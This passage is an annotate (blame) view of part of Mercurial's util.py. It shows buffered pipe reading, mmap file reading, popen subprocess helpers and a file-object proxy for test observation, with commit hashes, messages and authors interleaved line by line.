parents: 25245
diff changeset
   395
    def hasbuffer(self):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   396
        """True is any data is currently buffered
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   397
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   398
        This will be used externally a pre-step for polling IO. If there is
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   399
        already data then no polling should be set in place."""
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   400
        return bool(self._buffer)
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   401
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   402
    @property
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   403
    def closed(self):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   404
        return self._input.closed
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   405
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   406
    def fileno(self):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   407
        return self._input.fileno()
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   408
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   409
    def close(self):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   410
        return self._input.close()
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   411
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   412
    def read(self, size):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   413
        while (not self._eof) and (self._lenbuf < size):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   414
            self._fillbuffer()
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   415
        return self._frombuffer(size)
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   416
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   417
    def readline(self, *args, **kwargs):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   418
        if 1 < len(self._buffer):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   419
            # this should not happen because both read and readline end with a
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   420
            # _frombuffer call that collapse it.
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   421
            self._buffer = [''.join(self._buffer)]
25672
050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25671
diff changeset
   422
            self._lenbuf = len(self._buffer[0])
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   423
        lfi = -1
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   424
        if self._buffer:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   425
            lfi = self._buffer[-1].find('\n')
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   426
        while (not self._eof) and lfi < 0:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   427
            self._fillbuffer()
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   428
            if self._buffer:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   429
                lfi = self._buffer[-1].find('\n')
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   430
        size = lfi + 1
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   431
        if lfi < 0: # end of file
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   432
            size = self._lenbuf
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   433
        elif 1 < len(self._buffer):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   434
            # we need to take previous chunks into account
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   435
            size += self._lenbuf - len(self._buffer[-1])
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   436
        return self._frombuffer(size)
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   437
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   438
    def _frombuffer(self, size):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   439
        """return at most 'size' data from the buffer
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   440
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   441
        The data are removed from the buffer."""
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   442
        if size == 0 or not self._buffer:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   443
            return ''
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   444
        buf = self._buffer[0]
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   445
        if 1 < len(self._buffer):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   446
            buf = ''.join(self._buffer)
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   447
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   448
        data = buf[:size]
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   449
        buf = buf[len(data):]
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   450
        if buf:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   451
            self._buffer = [buf]
25672
050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25671
diff changeset
   452
            self._lenbuf = len(buf)
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   453
        else:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   454
            self._buffer = []
25672
050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25671
diff changeset
   455
            self._lenbuf = 0
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   456
        return data
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   457
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   458
    def _fillbuffer(self):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   459
        """read data to the buffer"""
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   460
        data = os.read(self._input.fileno(), _chunksize)
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   461
        if not data:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   462
            self._eof = True
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   463
        else:
25672
050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25671
diff changeset
   464
            self._lenbuf += len(data)
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   465
            self._buffer.append(data)
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   466
36525
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   467
        return data
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   468
34295
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
   469
def mmapread(fp):
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
   470
    try:
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
   471
        fd = getattr(fp, 'fileno', lambda: fp)()
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
   472
        return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
   473
    except ValueError:
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
   474
        # Empty files cannot be mmapped, but mmapread should still work.  Check
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
   475
        # if the file is empty, and if so, return an empty buffer.
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
   476
        if os.fstat(fd).st_size == 0:
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
   477
            return ''
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
   478
        raise
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
   479
10199
c2e2a5e6c36b subrepo: force en_US.UTF-8 locale when calling svn
Patrick Mezard <pmezard@gmail.com>
parents: 10197
diff changeset
   480
def popen2(cmd, env=None, newlines=False):
9089
8ec39725d966 util: remove unused bufsize argument
Martin Geisler <mg@lazybytes.net>
parents: 9084
diff changeset
   481
    # Setting bufsize to -1 lets the system decide the buffer size.
8ec39725d966 util: remove unused bufsize argument
Martin Geisler <mg@lazybytes.net>
parents: 9084
diff changeset
   482
    # The default for bufsize is 0, meaning unbuffered. This leads to
8ec39725d966 util: remove unused bufsize argument
Martin Geisler <mg@lazybytes.net>
parents: 9084
diff changeset
   483
    # poor performance on Mac OS X: http://bugs.python.org/issue4194
8ec39725d966 util: remove unused bufsize argument
Martin Geisler <mg@lazybytes.net>
parents: 9084
diff changeset
   484
    p = subprocess.Popen(cmd, shell=True, bufsize=-1,
9083
ec171737aaf1 Backed out changeset fce065538bcf: it caused a 5x performance regression on OS X
Bryan O'Sullivan <bos@serpentine.com>
parents: 8340
diff changeset
   485
                         close_fds=closefds,
10197
29e3c4a7699b subrepo: normalize svn output line-endings
Patrick Mezard <pmezard@gmail.com>
parents: 9996
diff changeset
   486
                         stdin=subprocess.PIPE, stdout=subprocess.PIPE,
10199
c2e2a5e6c36b subrepo: force en_US.UTF-8 locale when calling svn
Patrick Mezard <pmezard@gmail.com>
parents: 10197
diff changeset
   487
                         universal_newlines=newlines,
c2e2a5e6c36b subrepo: force en_US.UTF-8 locale when calling svn
Patrick Mezard <pmezard@gmail.com>
parents: 10197
diff changeset
   488
                         env=env)
8280
0b02d98d44d0 util: always use subprocess
Martin Geisler <mg@lazybytes.net>
parents: 8257
diff changeset
   489
    return p.stdin, p.stdout
10197
29e3c4a7699b subrepo: normalize svn output line-endings
Patrick Mezard <pmezard@gmail.com>
parents: 9996
diff changeset
   490
10199
c2e2a5e6c36b subrepo: force en_US.UTF-8 locale when calling svn
Patrick Mezard <pmezard@gmail.com>
parents: 10197
diff changeset
   491
def popen3(cmd, env=None, newlines=False):
18759
9baf4330d88f sshpeer: store subprocess so it cleans up correctly
Durham Goode <durham@fb.com>
parents: 18736
diff changeset
   492
    stdin, stdout, stderr, p = popen4(cmd, env, newlines)
9baf4330d88f sshpeer: store subprocess so it cleans up correctly
Durham Goode <durham@fb.com>
parents: 18736
diff changeset
   493
    return stdin, stdout, stderr
9baf4330d88f sshpeer: store subprocess so it cleans up correctly
Durham Goode <durham@fb.com>
parents: 18736
diff changeset
   494
25245
504ef9c49f4a util: allow to specify buffer size in popen4
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25211
diff changeset
   495
def popen4(cmd, env=None, newlines=False, bufsize=-1):
504ef9c49f4a util: allow to specify buffer size in popen4
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25211
diff changeset
   496
    p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
9083
ec171737aaf1 Backed out changeset fce065538bcf: it caused a 5x performance regression on OS X
Bryan O'Sullivan <bos@serpentine.com>
parents: 8340
diff changeset
   497
                         close_fds=closefds,
8280
0b02d98d44d0 util: always use subprocess
Martin Geisler <mg@lazybytes.net>
parents: 8257
diff changeset
   498
                         stdin=subprocess.PIPE, stdout=subprocess.PIPE,
10197
29e3c4a7699b subrepo: normalize svn output line-endings
Patrick Mezard <pmezard@gmail.com>
parents: 9996
diff changeset
   499
                         stderr=subprocess.PIPE,
10199
c2e2a5e6c36b subrepo: force en_US.UTF-8 locale when calling svn
Patrick Mezard <pmezard@gmail.com>
parents: 10197
diff changeset
   500
                         universal_newlines=newlines,
c2e2a5e6c36b subrepo: force en_US.UTF-8 locale when calling svn
Patrick Mezard <pmezard@gmail.com>
parents: 10197
diff changeset
   501
                         env=env)
18759
9baf4330d88f sshpeer: store subprocess so it cleans up correctly
Durham Goode <durham@fb.com>
parents: 18736
diff changeset
   502
    return p.stdin, p.stdout, p.stderr, p
7106
4674706b5b95 python2.6: use subprocess if available
Dirkjan Ochtman <dirkjan@ochtman.nl>
parents: 6884
diff changeset
   503
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   504
class fileobjectproxy(object):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   505
    """A proxy around file objects that tells a watcher when events occur.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   506
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   507
    This type is intended to only be used for testing purposes. Think hard
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   508
    before using it in important code.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   509
    """
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   510
    __slots__ = (
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   511
        r'_orig',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   512
        r'_observer',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   513
    )
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   514
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   515
    def __init__(self, fh, observer):
36584
f5427483eebe util: add missing r prefix on some __setattr__ calls
Augie Fackler <augie@google.com>
parents: 36551
diff changeset
   516
        object.__setattr__(self, r'_orig', fh)
f5427483eebe util: add missing r prefix on some __setattr__ calls
Augie Fackler <augie@google.com>
parents: 36551
diff changeset
   517
        object.__setattr__(self, r'_observer', observer)
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   518
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   519
    def __getattribute__(self, name):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   520
        ours = {
36525
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   521
            r'_observer',
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   522
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   523
            # IOBase
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   524
            r'close',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   525
            # closed if a property
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   526
            r'fileno',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   527
            r'flush',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   528
            r'isatty',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   529
            r'readable',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   530
            r'readline',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   531
            r'readlines',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   532
            r'seek',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   533
            r'seekable',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   534
            r'tell',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   535
            r'truncate',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   536
            r'writable',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   537
            r'writelines',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   538
            # RawIOBase
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   539
            r'read',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   540
            r'readall',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   541
            r'readinto',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   542
            r'write',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   543
            # BufferedIOBase
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   544
            # raw is a property
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   545
            r'detach',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   546
            # read defined above
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   547
            r'read1',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   548
            # readinto defined above
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   549
            # write defined above
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   550
        }
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   551
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   552
        # We only observe some methods.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   553
        if name in ours:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   554
            return object.__getattribute__(self, name)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   555
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   556
        return getattr(object.__getattribute__(self, r'_orig'), name)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   557
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   558
    def __delattr__(self, name):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   559
        return delattr(object.__getattribute__(self, r'_orig'), name)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   560
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   561
    def __setattr__(self, name, value):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   562
        return setattr(object.__getattribute__(self, r'_orig'), name, value)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   563
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   564
    def __iter__(self):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   565
        return object.__getattribute__(self, r'_orig').__iter__()
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   566
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   567
    def _observedcall(self, name, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   568
        # Call the original object.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   569
        orig = object.__getattribute__(self, r'_orig')
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   570
        res = getattr(orig, name)(*args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   571
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   572
        # Call a method on the observer of the same name with arguments
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   573
        # so it can react, log, etc.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   574
        observer = object.__getattribute__(self, r'_observer')
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   575
        fn = getattr(observer, name, None)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   576
        if fn:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   577
            fn(res, *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   578
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   579
        return res
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   580
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   581
    def close(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   582
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   583
            r'close', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   584
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   585
    def fileno(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   586
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   587
            r'fileno', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   588
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
   589
    def flush(self, *args, **kwargs):
